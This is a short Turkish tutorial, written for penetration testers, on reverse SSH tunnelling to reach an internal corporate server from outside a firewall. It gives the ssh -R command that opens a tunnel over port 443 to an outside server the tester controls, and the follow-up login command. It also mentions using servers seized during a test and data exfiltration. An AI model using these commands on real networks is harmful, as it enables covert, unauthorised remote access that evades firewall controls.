Reverse SSH
Kurum ağında bulunan bir bilgisayara uzaktan bağlantı kurmak istediğimizde, normalde kurum firewall’undan ilgili port yönlendirme ayarı yapılmadan ve gerekli izinler verilmeden, dışarıdan bu türlü bir bağlantı kurmak mümkün değildir.
Senaryo
Bunu aşmanın bir yöntemi reverse SSH bağlantısı kurmaktır. Stateful firewallarda, normalde dışarıdan içeriye izinli olmayan bir istek(örneğin SSH), drop edilir. Fakat eğer istek öncelikle içeriden oluşturulursa, yani önce dışarıdaki bir SSH sunucuya içeriden bağlantı isteği gönderilirse, dışarıdaki SSH sunucudan içeriye yapılacak olan istekler firewall tarafından engellenmeyebilir. Böylelikle kurum firewall’unda ilgili izinler verilmeden, kurum ağındaki bilgisayarlara erişilebilir.
Bu açıklık, sızma testleri sırasında ele geçirilen ve dışarıdan erişilemeyen bir sunucunun dışarıdan kontrol edilebilmesine olanak tanıyabilir.
Test Adımları
Açıklığın testi için her iki tarafta da SSH sunucunun bulunması gerekmektedir. İlk SSH sunucu kurum lokalinde bulunan, diğer SSH sunucu ise uzakta bulunan bir sunucudur. Kurum lokalindeki sunucuya A, uzaktaki sunucuya ise B adını verelim.
Test için B sunucusuna yani uzakta ve bizim kontrolümüzde bulunan sunucuya port yönlendirme yapmamız gerekecektir. Hangi portun yönlendirileceği konusuna gelince;
Yönlendirilecek olan portun, A sunucusunun internete çıkabileceği ve trafiği kontrol edilmeyen bir port olması önemlidir. Örnek olarak 443 portunu kullanacağız. Bu port SSL trafiği için kullanıldığından, genellikle kurum ağlarından dışarıya doğru erişim izni verilen bir porttur.
Bu nedenle B sunucusunun önünde bulunan modemden ya da firewalldan, 443 portuna gelen istekleri B sunucusunun 22 portuna yönlendireceğiz.
Bu işlemden sonra A sunucusundan aşağıdaki gibi bir komut girilmesi gerekmektedir:
#ssh –p 443 –f –g –N –R8000:localhost:22 kullanici_adi@IP
Burada ifade ettiğimiz 443 portu, A sunucusunun dışarıya iletişim kurmak için kullandığı porttur. 8000 portu ise, A sunucusu üzerinde ve 22 portunda çalışan SSH trafiğinin yönlendirildiği porttur. Bir diğer deyişle modem ya da firewall üzerinde 8000 portuna gelen isteklerin A sunucusundaki 22 portuna yönlendirilmesi anlamını taşır. Normalde kurum firewall’una ya da modemine erişebilseydik, hiç bu işlemlere gerek kalmadan 8000 portunun A sunucusunun 22 portuna yönlendirilmesi tanımını yapabilirdik ancak malûm buna yetkimiz yok.
kullanici_adi değeri B sunucusunda oturum açmak için kullanacağımız kullanıcı adıdır – örneğin admin. IP ise B sunucusunun internete çıktığı IP’dir.
Bu ayarlamalardan sonra yukarıda belirttiğimiz komut A sunucusundan girildiğinde, eğer herhangi bir engelleme yoksa, B sunucusuna oturum açılacaktır. Girişte bizden parola soracak olursa, B sunucusunun parolası girilmelidir. Zaten bu sunucu kontrolümüz altındaki bir sunucu olduğu için parolası bilinmektedir.
Bağlantı kurulduktan sonra asıl amacımız olan A sunucusuna bağlantı kurma işlemine geçeceğiz. Bunun için B sunucusunda aşağıdaki komut girilmelidir:
#ssh localhost –p 8000
Bu komut girildikten sonra bizden yine parola girmemiz istenebilir. Bu durumda A sunucusunun parolasını girdikten sonra oturum açılmış ve ilk amacımız olan B sunucusundan A sunucusuna erişim sağlanmış olacaktır.
Burada A sunucusunun parolasını nereden bildiğimiz sorusu akla gelebilir. A sunucusu, iki farklı sunucu olabilir:
Birincisi bizim yine kendi sunucumuz olan ve sızma testi için kurum lokal ağına bağladığımız bir sunucu(PC). İkinci olarak lokalde ele geçirdiğimiz ve kendimize bir kullanıcı açtığımız kuruma ait bir sunucu. A sunucusunun türüne bağlı olarak direkt o sunucu üzerinden veri sızdırma ya da benzeri ele geçirme senaryoları uygulanabileceği gibi testin türüne ve kapsamına bağlı olarak farklı senaryolar da uygulanabilir.